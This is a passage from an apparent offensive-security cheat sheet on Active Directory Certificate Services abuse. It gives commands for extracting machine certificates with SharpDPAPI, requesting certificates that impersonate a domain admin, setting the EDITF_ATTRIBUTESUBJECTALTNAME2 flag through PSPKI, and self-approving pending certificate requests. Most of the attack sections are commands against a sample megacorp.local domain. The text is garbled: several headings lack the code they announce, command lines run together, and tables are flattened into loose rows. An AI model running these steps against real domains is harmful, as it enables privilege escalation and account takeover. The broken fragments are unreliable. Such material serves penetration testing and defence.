It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:
# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine
After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use that .pfx for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files
Find certificate files lying around with Seatbelt:
Correlate a certificate with a CA thumbprint on the host and in AD:
# Get cert's thumbprintPS > $CertPath ="C:\Users\snovvcrash\cert.p12"PS > $CertPass ="Passw0rd!"PS > $Cert =New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)PS > $Cert.Thumbprint# Match it with CA certs' thumbprints trusted by the current hostCmd > .\Seatbelt.exe-q CertificateThumbprints# Match it with CA certs' thumbprints from ADCmd > .\Certify.exe find /quiet
Steal NTLM via PKINIT
Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs
Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (1.3.6.1.4.1.311.20.2.2) or Client Authentication (1.3.6.1.5.5.7.3.2) or PKINIT Client Authentication (1.3.6.1.5.2.3.4) EKUs.
Request a certificate specifying the /altname as a domain admin like in ESC1.
Agent Certificate + Enroll on Behalf of Another User
Conditions:
A template allows a low-privileged user to use an enrollment agent certificate.
Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
This means that an adversary can enroll in any template configured for domain authentication that also allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows to authenticate as a domain admin or any other active user/machine.
To abuse request a certificate specifying an /altname with any template that allows for domain auth (e.g., the default User template which normally doesn't allow to specify alternative names):
ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") respectively.
The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):
# Check before setting the flagCmd > hostnameDC01Cmd >certutil.exe-config "CA01.megacorp.local\CA01"-getreg "policy\EditFlags"# Invoke SetConfigEntryPS >"$(hostname) : $(whoami)"WS01 : megacorp\CertAdminPSPKI > $configReader =New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"PSPKI > $configReader.SetRootNode($true)PSPKI > $configReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")1114446PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)Cmd > hostnameDC01Cmd >certutil.exe-config "CA01.megacorp.local\CA01"-getreg "policy\EditFlags"
The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used by an adversary to subvert the "CA certificate manager approval" protection:
# Request a certificate that requires manager approval with CertifyPS > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:ApprovalNeeded...[*] Request ID : 1337# Approve a pending request with PSPKIPSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest
# Download the issued certificate with CertifyPS > .\Certify.exe download /ca:CA01.megacorp.local\CA01 /id:1337
File Extension
Description
Right
Description
Client Authentication
1.3.6.1.5.5.7.3.2
PKINIT Client Authentication
1.3.6.1.5.2.3.4
Smart Card Logon
1.3.6.1.4.1.311.20.2.2
Any Purpose EKU
2.5.29.37.0
Subordinate CA certificate
No EKU set
.key
The private key.
.crt/.cer
The certificate.
.csr
Signing request file. Does not contain certificates or keys.
.jks/.keystore/.keys
Java Keystore. May contain certificates + private keys used by Java apps.
Owner
Implicit full control of the object, can edit any properties.
FullControl
Full control of the object, can edit any properties.
WriteOwner
Can modify the owner to an adversary-controlled principal.
WriteDacl
Can modify access control to grant an adversary FullControl.